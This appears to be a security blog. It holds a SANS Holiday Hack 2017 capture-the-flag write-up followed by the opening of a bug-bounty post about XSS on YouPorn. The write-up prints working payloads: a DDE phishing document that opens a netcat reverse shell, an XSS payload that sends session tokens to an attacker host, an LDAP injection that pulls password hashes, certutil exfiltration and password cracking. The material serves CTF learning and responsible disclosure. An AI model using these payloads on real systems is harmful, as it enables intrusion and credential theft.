The seventh question specifies that people use the Elf-Machine Interface server to access email, and that we could get access to it via a phishing attack.

Let's take a look at Alabaster's emails. First, the phishing scenario:

From: alabaster.snowball@northpolechristmastown.com

To: "jessica.claus@northpolechristmastown.com"

Subject: gingerbread cookie recipe

Hey Mrs Claus,

Do you have that awesome gingerbread cookie recipe you made for me last year? You sent it in a MS word .docx file. I would totally open that docx on my computer if you had that. I would click on anything with the words gingerbread cookie recipe in it. I'm totally addicted and want to make some more.

Thanks,

Alabaster Snowball

From: alabaster.snowball@northpolechristmastown.com

To: all@northpolechristmastown.com

Subject: Re: COOKIES!

Awesome, yea if anyone finds that .docx file containing the recipe for "gingerbread cookie recipe", please send it to me in a docx file. Im currently working on my computer and would totally download that to my machine, open it, and click to all the prompts.

Thanks!

Alabaster Snowball.

Oh, Alabaster, your gluttony will be your downfall. Now let's see how to deliver our payload:

From: minty.candycane@northpolechristmastown.com

To: all@northpolechristmastown.com

Subject: Should we be worried?

Hey Alabaster,

You know I'm a novice security enthusiast, well I saw an article a while ago about regarding DDE exploits that dont need macros for MS word to get command execution.

https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

Should we be worried about this?

I tried it on my local machine and was able to transfer a file. Here's a poc:

http://mail.northpolechristmastown.com/attachments/dde_exmaple_minty_candycane.png

I know your the resident computer engineer here so I wanted to defer to the expert.

:)

-Minty CandyCane.

From: alabaster.snowball@northpolechristmastown.com

To: all@northpolechristmastown.com

Subject: Re: Should we be worried?

Quit worrying Minty,

You have nothing to worry about with me around! I have developed most of the applications in our network including our network defenses. We are are completely secure and impenetrable.

Sincerely,

Alabaster Snowball.

Oh, Alabaster, your hubris will also be your downfall. And finally, what payload can we use:

From: alabaster.snowball@northpolechristmastown.com

To: all@northpolechristmastown.com

Subject: Re: Lost book page

Well powershell is my new love but netcat will always hold a special place in my heart.

From: alabaster.snowball@northpolechristmastown.com

To: all@northpolechristmastown.com

Subject: Re: Lost book page

I installed nc.exe to path for my computer.

Awesome, now we know that Alabaster has nc.exe in his PATH. We can use this tool to connect back to our Internet-facing machine, to get a shell access to the Elf-Machine Interface server.

Let's prepare our malicious .docx file, using the Sensepost tutorial:

Now, let's send our gingerbread cookie recipe to our dear Alabaster, from Mrs Claus's account. We can do this by putting her email address in our cookie, as explained in the EWA section:

And now, we wait for a shell:

$ nc -knlvp 8080
listening on [any] 8080 ...
connect to [X.X.X.X] from (UNKNOWN) [35.185.57.190] 52783
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\alabaster_snowball\Documents>

Sweet! We have a shell access to the EMI machine. Now, the only thing to do is to get the C:\GreatBookPage7.pdf file. But how to exfiltrate? Exfiltrating data from a Windows machine can be a pain, since there's no useful tools like scp, curl, etc. (yet) to send data to the outside. One of my favourite tricks is to use the certutil.exe command tool. This tool is used to manipulate certificates, etc., but it can be used to base64-encode and -decode data.

So, what we'll do is simply base64 encode the page to a file. Then we'll output the content of the file, copy/paste it to our machine, and base64-decode it:

C:\Users\alabaster_snowball\Documents> certutil.exe -f -encode C:\GreatBookPage7.pdf C:\Users\alabaster_snowball\Documents\GreatBookPage7.pdf.b64
Input Length = 1053508
Output Length = 1448634
CertUtil: -encode command completed successfully.

C:\Users\alabaster_snowball\Documents> type .\GreatBookPage7.pdf.b64
-----BEGIN CERTIFICATE-----
JVBERi0xLjMKJcTl8uXrp/Og0MTGCjUgMCBvYmoKPDwgL0xlbmd0aCA2IDAgUiAv
[snip]
RU9GCg==
-----END CERTIFICATE-----

Then, on my machine (you must remove the BEGIN CERTIFICATE and END CERTIFICATE from the output):

$ base64 -d .\GreatBookPage7.pdf.b64 > GreatBookPage7.pdf

Which gives us the seventh page of The Great Book (sha256: bc93c535481abb76e3c5180406ea9ea0910acd53f76cab788f1d680d21b611b5):

Regarding the Witches of Oz

Of all the varied and amazing people who inhabit the Land of Oz, the witches are among the most powerful, wielding potent magic and mesmerizing spells. They travel through the air, propelled by bubbles or broomsticks. Each witch has a very different attitude and outlook, ranging from faithful friends who are dear to us all way down to hearts full of unwashed socks and souls full of gunk.

During the Great Schism, the witches very deliberately remained neutral, siding with neither the Munchkins nor the Elves. The witches seem to live exclusively in Oz, tending to their castles. As of this writing, the witches have never been observed in the North Pole.

Who is behind all this?

North Pole and Beyond: We're Off To See The...

Cranberry Pi

                 .--._.--.--.__.--.--.__.--.--.__.--.--._.--.
               _(_      _Y_      _Y_      _Y_      _Y_      _)_
              [___]    [___]    [___]    [___]    [___]    [___]
              /:' \    /:' \    /:' \    /:' \    /:' \    /:' \
             |::   |  |::   |  |::   |  |::   |  |::   |  |::   |
             \::.  /  \::.  /  \::.  /  \::.  /  \::.  /  \::.  /
         jgs  \::./    \::./    \::./    \::./    \::./    \::./
               '='      '='      '='      '='      '='      '='
Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.

Alright, we have a program, and we need to make it return 42:

elf@ed587b205bb6:~$ ls -lh
total 100K
-rwxr-xr-x 1 root root  83K Dec 16 16:56 isit42
-rw-r--r-- 1 root root  654 Dec 16 16:56 isit42.c.un
elf@ed587b205bb6:~$ ./isit42
Starting up ... done.
Calling rand() to select a random number.
170 is not 42.

Ok, the program seems to generate a random number, using rand(), and compare the result to 42. If the random number is not equal to 42, the program outputs an error. So, how can we force rand to return 42?

The common trick is to use LD_PRELOAD. If this shell variable holds the path to a shared library, this library will be loaded before any other library, include libc. The idea is to create our own library, with our own version of rand that, for example, always return 42. Luckily for us, a SANS blog post was recently posted on the subject.

The blog post focuses on the usleep instead of rand, but the principle is the same. So, let's create our own rand library!

elf@ed587b205bb6:~$ cat <<EOF > hijack_rand.c
> int rand()
> {
>     return 42;
> }
>
> EOF
elf@ed587b205bb6:~$ cat hijack_rand.c
int rand()
{
    return 42;
}
elf@ed587b205bb6:~$ gcc -o hijack_rand.so -shared -fPIC ./hijack_rand.c
elf@ed587b205bb6:~$ LD_PRELOAD="./hijack_rand.so" ./isit42
Starting up ... done.
Calling rand() to select a random number.
                 .-.
                .;;\ ||           _______  __   __  _______    _______  __    _  _______  _     _  _______  ______
               /::::\|/          |       ||  | |  ||       |  |   _   ||  |  | ||       || | _ | ||       ||    _ |
              /::::'();          |_     _||  |_|  ||    ___|  |  |_|  ||   |_| ||  _____|| || || ||    ___||   | ||
            |\/`\:_/`\/|           |   |  |       ||   |___   |       ||       || |_____ |       ||   |___ |   |_||_
        ,__ |0_..().._0| __,       |   |  |       ||    ___|  |       ||  _    ||_____  ||       ||    ___||    __  |
         \,`////""""\\\\`,/        |   |  |   _   ||   |___   |   _   || | |   | _____| ||   _   ||   |___ |   |  | |
         | )//_ o  o _\\( |        |___|  |__| |__||_______|  |__| |__||_|  |__||_______||__| |__||_______||___|  |_|
          \/|(_) () (_)|\/
            \   '()'   /            ______    _______  _______  ___      ___      __   __    ___   _______
            _:.______.;_           |    _ |  |       ||   _   ||   |    |   |    |  | |  |  |   | |       |
          /| | /`\/`\ | |\         |   | ||  |    ___||  |_|  ||   |    |   |    |  |_|  |  |   | |  _____|
         / | | \_/\_/ | | \        |   |_||_ |   |___ |       ||   |    |   |    |       |  |   | | |_____
        /  |o`""""""""`o|  \       |    __  ||    ___||       ||   |___ |   |___ |_     _|  |   | |_____  |
       `.__/     ()     \__.'      |   |  | ||   |___ |   _   ||       ||       |  |   |    |   |  _____| |
       |  | ___      ___ |  |      |___|  |_||_______||__| |__||_______||_______|  |___|    |___| |_______|
       /  \|---|    |---|/  \
       |  (|42 | () | DA|)  |       _   ___  _______
       \  /;---'    '---;\  /      | | |   ||       |
        `` \ ___ /\ ___ / ``       | |_|   ||____   |
            `|  |  |  |`           |       | ____|  |
      jgs    |  |  |  |            |___    || ______| ___
       _._  |\|\/||\/|/|  _._          |   || |_____ |   |
      / .-\ |~~~~||~~~~| /-. \         |___||_______||___|
      | \__.'    ||    '.__/ |
       `---------''---------`
Congratulations! You've won, and have successfully completed this challenge.

Redirecting the snowball

Here's the layout I used to solve this level (I know, I got suuuper lazy, but God bless this portal):

Having completed this level, we have a little chat with a certain someone:

Glinda the Good Witch: It's me, Glinda the Good Witch of Oz! You found me and ruined my genius plan!

You see, I cast a magic spell on the Abominable Snow Monster to make him throw all the snowballs at the North Pole. Why? Because I knew a giant snowball fight would stir up hostilities between the Elves and the Munchkins, resulting in all-out WAR between Oz and the North Pole. I was going to sell my magic and spells to both sides. War profiteering would mean GREAT business for me.

But, alas, you and your sleuthing foiled my venture. And I would have gotten away with it too, if it weren't for you meddling kids!

My, oh my, what a nasty plan!

North Pole Christmas Town infrastructure: Elf Database

On to the last application, the Elf Database. Given the name, we can expect the application to be some sort of web interface allowing us to have access to the list of North Pole's elves.

Once again, if we try to connect using Alabaster's account, we get an Incorrect username or password! error.

So, let's see what we can find from basic recon. Once again, we get some information by taking a look at the robots.txt file:

GET /robots.txt HTTP/1.1
Host: edb.northpolechristmastown.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Cookie: SESSION=5A0K85HFazf2m0ltjg3g
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 07 Jan 2018 23:02:46 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
Last-Modified: Tue, 15 Aug 2017 04:58:06 GMT

User-agent: *
Disallow: /dev

So, there is a /dev directory. If we browse to it, we find only one file, LDIF_template.txt:

GET /dev/LDIF_template.txt HTTP/1.1
Host: edb.northpolechristmastown.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Cookie: SESSION=5A0K85HFazf2m0ltjg3g
Connection: close

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 07 Jan 2018 23:04:47 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 751
Connection: close
Accept-Ranges: bytes

#LDAP LDIF TEMPLATE

dn: dc=com
dc: com
objectClass: dcObject

dn: dc=northpolechristmastown,dc=com
dc: northpolechristmastown
objectClass: dcObject
objectClass: organization

dn: ou=human,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: human

dn: ou=elf,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: elf

dn: ou=reindeer,dc=northpolechristmastown,dc=com
objectClass: organizationalUnit
ou: reindeer

dn: cn= ,ou= ,dc=northpolechristmastown,dc=com
objectClass: addressbookPerson
cn:
sn:
gn:
profilePath: /path/to/users/profile/image
uid:
ou:
department:
mail:
telephoneNumber:
street:
postOfficeBox:
postalCode:
postalAddress:
st:
l:
c:
facsimileTelephoneNumber:
description:
userPassword:

This gives us some info about how the Elf Database application functions. There's obviously an LDAP backend. We also have the list of attributes for the object representing the users, including one which seems particularly juicy, userPassword.

Learning that the application uses an LDAP backend, I tried to bypass authentication using LDAP injection, but it did not work. So, let's take a look at the source code of the application. Here's what we can find on the index.html page:

    <script>
        if (!document.cookie) {
            window.location.href = '/';
        } else {
            token = localStorage.getItem("np-auth");
            if (token) {
                $.post( "/login", { auth_token: token }).done(function( result ) {
                    if (result.bool) {
                        window.location.href = result.link;
                    }
                })
            }
        }
    </script>
</html>

Hmm, a token stored in the local storage, under the key np-auth seems to be used for the application session management. Let's keep digging.

Under the login form, there's a support link, where you can send a password reset request to an administrator. Since we have access to Alabaster's email account, let's try and reset his password:

POST /service HTTP/1.1
Host: edb.northpolechristmastown.com
Origin: http://edb.northpolechristmastown.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Cookie: SESSION=6S6Nd58Sy85OK09ui063
Connection: close

uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=I+forgot+my+password!

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Sun, 07 Jan 2018 23:20:45 GMT
Content-Type: application/json
Content-Length: 115
Connection: close

{"bool":true,"link":"/reset_request?ticket=OYHAT-T8XZR-EC2YB-U0173","message":"Request Submitted. Redirecting..."}

Now that our password reset request was sent, let's check Alabaster's email! Hmm, nothing. Let's see what happened after our request was sent. We get redirected to a support ticket page:

And our message is embedded in the page. Is it possible that they forgot to sanitize our user input? Let's try to inject some special characters:

POST /service HTTP/1.1
Host: edb.northpolechristmastown.com
Origin: http://edb.northpolechristmastown.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Referer: http://edb.northpolechristmastown.com/index.html
Cookie: SESSION=53LByIBB8Ct5Z79RdsTC

uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<u>Pretty+underlined+message</u>

Now, if we take a look at our ticket page, we can see that the <u> tag was rendered, and my message appears underlined:

<tr>
    <td>Alabaster</td>
    <td>Snowball</td>
    <td>alabaster.snowball@northpolechristmastown.com</td>
    <td>123-456-7890</td>
    <td><u>Pretty underlined message</u></td>
</tr>
</tbody>

This means that we can try to perform an XSS attack against the administrator that will visualize our request! I usually use tags like <u> or <b> when testing for XSS, because they're usually not picked up by WAFs or by custom implemented filters. And indeed, if we take a look at the custom.js file, we can see that there's some filtering done on the client side to trigger on text like script.

// --------------------------Customer Service Request -----------------------------/
$('#help_button').click(function(e){
    e.preventDefault();
    var help_uid = $('#help_uid').val();
    var help_email = $('#help_email').val();
    var help_message = $('#help_message').val();
    if (help_uid.match(/^\w+\.\w+$/g) != null){
        if (help_email.match(/^[\w\_\-\.]+\@[\w\_\-\.]+\.\w\w\w?\w?$/g) !== null){
            if (help_message.match(/^.+$/g) != null) {
                if (help_message.match(/[sS][cC][rR][iI][pP][tT]/g) == null) {

Now, client-side verifications can be bypassed easily by performing the HTTP request directly. But in that case, the check (among others) was also performed on the server-side.

So, let's use another type of XSS payload, that does not involve the word script. One of the most common is to use the onerror attribute. Let's try and see:

POST /service HTTP/1.1
Host: edb.northpolechristmastown.com
Origin: http://edb.northpolechristmastown.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Referer: http://edb.northpolechristmastown.com/index.html
Cookie: SESSION=53LByIBB8Ct5Z79RdsTC

uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<img src=x onerror="alert('Huh oh, Spaghettios')" />

Bingo, it works! Now, let's create a payload that will capture the np-auth entry from the local storage. The application uses jQuery, which means that we can use $.get to easily exfiltrate our token to our public-facing website:

POST /service HTTP/1.1
Host: edb.northpolechristmastown.com
Origin: http://edb.northpolechristmastown.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Referer: http://edb.northpolechristmastown.com/index.html
Cookie: SESSION=53LByIBB8Ct5Z79RdsTC

uid=alabaster.snowball&email=alabaster.snowball%40northpolechristmastown.com&message=<img src=x onerror="$.get(%26quot;http://X.X.X.X/?%26quot;%2blocalStorage.getItem(%26quot;np-auth%26quot;),function(a,b){})" />

And in a nc on our server, we wait for our payload to get triggered:

# nc -nvk -l -p 80
listening on [any] 80 ...
connect to [X.X.X.X] from (UNKNOWN) [Y.Y.Y.Y] 50132
GET /?eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.M7Z4I3CtrWt4SGwfg7mi6V9_4raZE5ehVkI9h04kr6I HTTP/1.0
Host: X.X.X.X
Connection: close
Accept: */*
Referer: http://127.0.0.1/reset_request?ticket=DFYCN-8UI5I-AD87J-BRR9P
Origin: http://127.0.0.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,*

Hurray, we got our token! Let's put it in our local storage, then head to the index.html page, and... nothing. Well that's disappointing. Let's take a look at our token. It seems to be three base64-encoded pieces of data, separated by full stops. This seems to indicate that this is a JSON Web Token (JWT). The first part is the header, {"alg":"HS256","typ":"JWT"}, the second part is the payload, {"dept":"Engineering","ou":"elf","expires":"2017-08-16 12:00:47.248093+00:00","uid":"alabaster.snowball"}, and the third part is the signature.

Our newfound token didn't work because it seems that it expired in August 2017. We could modify the expiry date to put it in the future, but we can't compute a new signature for our modified payload, because we don't know what secret key is used. I tried using the trick of the none algorithm (described here), which has worked for coworkers of mine in the past. But it didn't work in that case.

What's left to us is to try and bruteforce the secret key, so that we can create our own JWT. JohnTheRipper can actually bruteforce it for us, since it can bruteforce HMAC-256 secret keys. We just have to make some changes to our token:

$ cat alabaster_jwt.txt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE3LTA4LTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9#33b6782370adad6b78486c1f83b9a2e95f7fe2b6991397a156423d874e24afa2
$ john ./alabaster_jwt.txt
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3lv3s            (?)
1g 0:00:02:28 DONE 3/3 (2018-01-08 00:59) 0.006742g/s 2154Kp/s 2154Kc/s 2154KC/s 3k3ys..au10.
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Wow, it worked. I must confess that it was kind of my last hope, and I wasn't sure it was going to work. But hey, we now have our secret key, 3lv3s, and we can now generate valid JWT for Alabaster. I used https://jwt.io/ to do so, and obtain the following token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0

We can now log into the application:

There's a Santa panel, but we're not identified as Santa, so we can't access it. We could try to forge a JWT for Santa, but we can see in the source code of the application, that we actually need his password:

$('#santa_panel').click(function(e){
    e.preventDefault();
    if (user_json['dept'] == 'administrators') {
        pass = prompt('Confirm you are a Claus by confirming your password: ').trim()
        if (pass) {
            poster("/html", { santa_access: pass }, token, function(result){
                if (result) {
                    $('#inneroverlay').html(result);
                    $('.overlay').css('display','flex');
                } else {
                    Materialize.toast('Incorrect Password...', 4000);
                }
            });
        }
    } else {
        Materialize.toast('You must be a Claus to access this panel!', 4000);
    }
});

So, we need to find a way to get his password. Let's take a look at the application. Apparently, we can query the application's database for elves or reindeers matching certain names, and get some properties:

POST /search HTTP/1.1
Host: edb.northpolechristmastown.com
np-auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
Referer: http://edb.northpolechristmastown.com/home.html
Cookie: SESSION=4wtVec24212atYU1RpE3
Connection: close

name=alabaster&isElf=True&attributes=profilePath,gn,sn,mail

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Mon, 08 Jan 2018 00:08:50 GMT
Connection: close


[[["cn=alabaster,ou=elf,dc=northpolechristmastown,dc=com",{"gn":["Alabaster"],"mail":["alabaster.snowball@northpolechristmastown.com"],"profilePath":["/img/elves/elf1.PNG"],"sn":["Snowball"]}]]]

Given the result's format, we can expect the application to performan LDAP query to retrieve the wanted attributes. If only we knew the syntax of this query... But, wait! Let's see what we have in the application source code:

//Note: remember to remove comments about backend query before going into north pole production network
/*

isElf = 'elf'
if request.form['isElf'] != 'True':
    isElf = 'reindeer'
attribute_list = [x.encode('UTF8') for x in request.form['attributes'].split(',')]
result = ldap_query('(|(&(gn=*'+request.form['name']+'*)(ou='+isElf+'))(&(sn=*'+request.form['name']+'*)(ou='+isElf+')))', attribute_list)

#request.form is the dictionary containing post params sent by client-side
#We only want to allow query elf/reindeer data

*/

We have the syntax of the query. And there doesn't seem to be any filtering on our parameters, so we can try to perform an LDAP injection. I recommend you read this link, to better understand how the LDAP syntax works.

Now, we want to perform our injection in the name parameter. The goal is to get a query that will match Santa's user entry. I ended up going with the following payload: santa*)(ou=*))(&(sn=foo. Indeed, the final syntax is then:

(|(&(gn=*santa*)(ou=*))(&(sn=foo*)(ou=elf))(&(sn=*santa*)(ou=*))(&(sn=foo*)(ou=elf)))

This query should match Santa, since we're searching for entries with names containing santa in any organizational unit. Now, let's perform our search. Since we're allowed to query any attributes we want, let's ask for the userPassword attribute, found in the earlier LDIF_template.txt file:

POST /search HTTP/1.1
Host: edb.northpolechristmastown.com
Accept: */*
Origin: http://edb.northpolechristmastown.com
np-auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXB0IjoiRW5naW5lZXJpbmciLCJvdSI6ImVsZiIsImV4cGlyZXMiOiIyMDE4LTAxLTE2IDEyOjAwOjQ3LjI0ODA5MyswMDowMCIsInVpZCI6ImFsYWJhc3Rlci5zbm93YmFsbCJ9.OsSuRkYF-13eNfXyuCDYmb9XUjBhnbmQ9Oe1yRWDrH0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://edb.northpolechristmastown.com/home.html
Cookie: SESSION=4F359T9wWTvpBczV3335

name=santa*)(ou=*))(%26(sn=foo&isElf=True&attributes=userPassword

HTTP/1.1 200 OK
Server: nginx/1.10.3
Date: Mon, 08 Jan 2018 00:16:42 GMT
Content-Type: application/json
Content-Length: 113
Connection: close

[[["cn=santa,ou=human,dc=northpolechristmastown,dc=com",{"userPassword":["d8b4c05a35b0513f302a85c409b4aab3"]}]]]

We now have Santa's hashed password. Given the form, it seems to be an MD5 hash. Let's use JohnTheRippher again to try and crack it:

$ cat santa_password.txt
d8b4c05a35b0513f302a85c409b4aab3
$ john --format=raw-md5 --wordlist=./rockyou.txt ./santa_password.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
001cookielips001 (?)
1g 0:00:00:00 DONE (2018-01-08 01:23) 1.315g/s 18776Kp/s 18776Kc/s 18776KC/s 002007238..00196900
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Hurray, we have Santa's password! We can now log into the application, and access his panel. This gives us access to this letter, sent to him:

Here's what the letter says:

From: The Wizard of Oz

Emerald City, Oz

To: Santa Claus

Christmas Town, North Pole

Dear Santa,

My old friend! I wish you a very merry Christmas. Thank you for all you do to bring holiday cheer around the world.

Every year, I enjoy our gift exchange -- you giving me a Christmas present and I giving you a Solstice gift. We've exchanged some crazy things in the past. By my reckoning, you've given me:

Big Hair Hairspray

Pink Election Campaign Hat

Bacon Bandages

Scapy the Unicorn Plush Pillow

Princess Leia Earmuffs

Bacon Tie with Giant TV Remote

Stormtrooper Boxer Shorts

Ah what fun times! And I've given you:

The Nubulator

Garden Gnome

Justin Bieber Toothbrush

Snorty the Pig Hat and Pink Gloves

Giant Inflatable Olaf the Snowman

Ariana Grande Light-up Cat Ear Headphones

Well, wait 'til you see what I've got for you this year, my friend! Yule love it!

Merry Christmas!

—The Wizard

Well, it's nice to see that Santa gets gifts too!

Answers to the questions

Let's answer the questions:

Visit the North Pole and Beyond at the Winter Wonder Landing Level to collect the first page of The Great Book using a giant snowball. What is the title of that page?

The title of the first page of The Great Book is About This Book....

Investigate the Letters to Santa application at https://l2s.northpolechristmastown.com. What is the topic of The Great Book page available in the web root of the server? What is Alabaster Snowball's password?

The topic of the second page of The Great Book is the creation of flying animals in Oz, which lead to the creation of flying reindeers.

Alabaster Snowball's password is stream_unhappy_buy_loss.

The North Pole engineering team uses a Windows SMB server for sharing documentation and correspondence. Using your access to the Letters to Santa server, identify and enumerate the SMB file-sharing server. What is the file server share name?

The name of the share on hhc17-smb-server is FileStor.

Elf Web Access (EWA. is the preferred mailer for North Pole elves, available internally at http://mail.northpolechristmastown.com. What can you learn from The Great Book page found in an e-mail on that server?

The fourth page of The Great Book speaks of the battles between Munchkins and Elves, the creation of the Lollipop Guild, and their infiltration in the North Pole population.

How many infractions are required to be marked as naughty on Santa's Naughty and Nice List? What are the names of at least six insider threat moles? Who is throwing the snowballs from the top of the North Pole Mountain and what is your proof?

It takes four infractions to be marked as naughty on Santa's list.

Here are six insider threat moles:

Boq Questrian
Bini Aru
Sheri Lewis
Kirsty Evans
Nina Fitzgerald
Beverly Khalil

The discussion between us, Sam the Snowman, and Bumble informs us that the person throwing giant snowballs is Bumble, the Abominable Snow Monster.

The North Pole engineering team has introduced an Elf as a Service (EaaS. platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com. Visit the system and retrieve instructions for accessing The Great Book page from C:\greatbook.txt. Then retrieve The Great Book PDF file by following those directions. What is the title of The Great Book page?

The title of the first page of The Great Book is The Dreaded Inter-Dimensional Tornadoes.

Like any other complex SCADA systems, the North Pole uses Elf-Machine Interfaces (EMI. to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing. Gain access to the EMI server through the use of a phishing attack with your access to the EWA server. Retrieve The Great Book page from C:\GreatBookPage7.pdf. What does The Great Book page describe?

The seventh page of The Great Book gives us details regarding the Witches of Oz, their power, and their neutrality during the Great Schism.

Fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com. Who wrote the letter?

The letter was written by the Wizard of Oz, Santa's good friend.

Which character is ultimately the villain causing the giant snowball problem. What is the villain's motive?

The villain causing the giant snowball problem is Glinda, the "Good" Witch. She cast a spell on Bumble to make him throw giant snowballs, in order to create an all-out war between Elves and Munchkins. This would have allowed her to make a profit, by selling spells to both sides of the war.

Conclusion

Once again, the SANS staff outdid themselves and gave us an amazing Christmas challenge. I thought implementing client-side attacks, such as XSS or phishing attacks was a nice touch. It's also great that designed the challenge to that people would have to pivot to an internal network. Overall, it kind of reminded me of when I took my OSCP exam/lab.

As usual, see you next year!

[EDIT 2018-03-15]

This write-up received an honorable mention from the SANS team. Even though I didn't win any prize, I'm still super honored to receive this recognition. Thanks to the SANS team for organizing this challenge, and special thanks to Jerry Salinas for reviewing my write-up!

Meet beautiful XSS in your area: a YouPorn bug bounty [SFW]

2017-03-28T00:00:00+02:00

I don't do bug bounties due to a lack of time. Although I have a HackerOne profile, you can see that I'm not so active. However, a coworker of mine spends quite some time on different bug bounty programs.

On 2017-02-06 evening, when we were both connected to our work Jabber server, he told me that YouPorn had launched their bug bounty program on HackerOne:

him: youporn bug bounty launched today btw

me: on hacker one?

him: yes

me: no time, i'm migrating my DNS servers

As I was reading documentation on bind, he wrote me back:

him: oh shit, exploitable XSS in the search bar, can't believe it

Now, things were interesting! I had to hop in. I was also surprised that nobody had ever found it before. XSS in the search form is the base case. I often go to errr, some of my friends often go to YouPorn, and they've never found such a vulnerability on it before.

Time was of the essence, because we wanted to have a working exploit and report it before someone else did.

From lack of filtering to open redirect

I fired up my browser and Burp, and sent a request on the search form. I searched for foobar". As you can see in the following screenshot, the search term is output, without any filtering (except for the capitalization) in a meta tag:

However, when we tried to close the meta tag, and open another one, to put our Javascript payload, we couldn't get it to work:

Disappointed, we still decided to exploit the meta HTML tag. It's a powerful tag, because it has the http-equiv directive. This directive allows you to define the equivalent of an HTTP header in the HTML code.

The http-equiv directive can take a value of refresh, which can be used to redirect a user to another page. This kind of open redirect vulnerability can be very useful in case of a phishing attack:

You send someone a link to http://youporn.com, with your payload;
Your payload redirects them to a site you control, imitating YouPorn's CSS;
You ask them for their credentials, their credit card number, etc.

We put the following payload to test our vulnerability:

As you can see, there is a slight problem: the dash in http-equiv is not inserted in the source code. I decided to use some XSS voodoo bypass, and so, I decided to HTML encode, then URL encode the dash.

A dash, -, HTML-encoded is -, which, URL-encoded, is %26%2345%3b:

Boom, we now had a working payload, and were able to redirect users to a URL of our choosing. Sweet!

Marked as duplicate

Just as I had found the correct syntax, my coworker, who had already notified YouPorn, got the following answer:

In fact, this was reported already, but the original reporter did not provide a working exploit. What I should do is to close it as duplicate, because the original bug was already reported. However I will leave it open so you have a chance to provide a working payload. Note that the original ticket was triaged. If you find a working payload, I will triage your ticket as well as you managed to go further in the exploitation.

Thanks and happy hacking

From open redirect to full reflective XSS

So that was it, somebody had already reported the vulnerability. However, YouPorn had kindly decided to let the report open, so that we could find a working payload, and we already had one with the open redirect payload.

